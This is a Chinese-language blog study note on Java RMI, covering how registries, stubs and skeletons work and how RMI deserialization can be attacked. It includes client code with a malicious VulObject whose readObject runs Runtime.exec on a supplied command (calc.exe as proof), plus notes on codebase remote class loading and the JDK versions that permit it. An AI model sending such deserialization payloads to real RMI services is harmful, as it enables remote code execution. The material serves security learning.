6

Java安全--RMI基础学习

 2 years ago
source link: https://shu1l.github.io/2021/02/09/java-an-quan-rmi-ji-chu-xue-xi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

RMI定义

  • Java远程调用,实现远程调用的应用程序编程接口
  • RMI对象是通过序列化方式进行编码传输的。
  • Java程序远程调用另一台服务器的java对象。
  • RMI依赖的通信协议 JRMP。

RMI实现流程

1.创建接口

在创建对象类之前,我们首先需要创建一个空接口,接口需要继承java.rmi.Remote

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}

2.实现接口

接着我们实现这个接口,创建服务端对象类,实现的类必须继承UnicastRmeoteObject。

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class ServicesImpl extends UnicastRemoteObject implements Services {
public ServicesImpl() throws RemoteException {
}

@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}

3.创建服务端&&注册中心

创建一个RMI服务端,服务端和客户端需要有共同的接口。然后创建注册中心,启动 RMI 的注册服务。server端将实例化的服务端远程对象绑定到registry

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
Registry registry = null;
try {
// 创建Registry
registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
registry = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
registry.bind("Services", obj);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

注意:低版本的JDK中,server服务端和register注册中心可以不在一台服务器上,高版本则只能在一台服务器上。

4.创建客户端

客户端与server和registry交互。

package me.mole.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
VulObject malicious = new VulObject();
malicious.setParam("calc.exe");
malicious.setMessage("hacked by m01e");

// 使用远程对象的引用调用对应的方法
System.out.println(services.sendMessage(malicious));
}
}

我们在客户端这里创建一个恶意的命令执行的类VulObject。

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class VulObject extends Message implements Serializable {
private static final long serialVersionUID = 7398165783113471324L;
private String param;

public void setParam(String param) {
this.param = param;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}

本地获取注册中心(反序列化点)

获取注册中心的两种方式。

  • 创建时获取:LocateRegistry#createRegistry
  • 远程获取:LocateRegistry#getRegistry

无论是客户端还是服务端,最终其调用注册中心的方法都是通过对创建的RegistryImpl对象进行调用。

我们这里分析下调用 LocateRegistry 类的 getRegistry 方法。

调用通过getRegistry 方法得到的RegistryImpl_Stubbind 方法。

这里首先通过newCall方法调用 TCPChannel 类的 createConnection 方法创建 socket 连接和注册服务通信。

然后通过writeObject方法先后写入bind方法序列化的参数值。

然后通过调用serviceCall 方法,获取到dispatcher,最后调用registry.RegistryImpl_Skel类的dispatch方法。

var3是传递过来的int类型的参数,在这里有如下关系的对应:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

​ 根据参数来决定服务端与客户端调用的方法。这个过程中基于序列化和反序列化来进行通讯的。那么我们就可以寻找反序列化的点来进行攻击。

调用rmi执行反序列化攻击

首先启动注册服务,然后执行服务端,最后执行客户端。可以发现客户端能够成功调用服务端上的方法,实现远程方法调用。

  • 服务端Clockmpl()继承Clock()创建对象。
  • 服务端CLock()注册远程对象
  • 客户端访问服务器b并查找相应远程对象。
  • 服务端将stub(存根返回)客户端
  • 客户端调用stub(存根)的方法
  • stub(存根)作为代理与服务端骨架通信//骨架作为服务端代理。
  • 骨架代理调用Clockmpl相应方法。
  • 骨架将结果返回给客户端的存根
  • 存根返回给客户端。
P牛对注册中心的解释

​ RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name 到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调用。

插一张先知的流程图

RMI攻击手法

先知社区上的一些总结,上图:

大致可以分为以下四类:

  • 探测利用开放的RMI服务。
  • 基于RMI服务反序列化过程的攻击。
  • 利用RMI的动态加载特性的攻击利用。
  • 结合JNDI注入。

我们主要学习RMI结合反序列化攻击的相关内容。

基于RMI服务反序列化过程的攻击

RMI反序列化漏洞的存在必须包含两个条件:

  1. 能够进行RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包

注:复现的时候需要JDK8 121以下版本,121及以后加了白名单限制。

利用RMI的动态加载特性的攻击利用

codebase
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

​ codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。

​ 如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类,
则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为 Example类的字节码。

​ 在RMI中,我们可以通过codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去 CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

但是相对而言这种限制条件很严:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

这里使用这位师傅打包好的代码学习:https://github.com/fa1c0n1/rmi-attack-demo

客户端动态加载
  • 创建HTTP服务器,作为动态加载代码的远程仓库。
python -m http.server 8000
  • 服务端创建远程对象,RMI Registry启动并完成名称绑定,并设置java.rmi.server.codebase
  • 客户端对RMI Registry发起请求,根据提供的Name得到Stub,并根据服务器返回的java.rmi.server.codebase远程加载动态所需的类。
服务端动态加载

恶意的客户端代码:

受害服务端代码:

结合JNDI注入

放到后面再细说。。(学晕了)

https://payloads.info/2020/06/21/Java%E5%AE%89%E5%85%A8-RMI-%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/#%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90

https://xz.aliyun.com/t/8644

https://xz.aliyun.com/t/8706

https://paper.seebug.org/1091/

https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-RMI-README.md#6mltu7


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK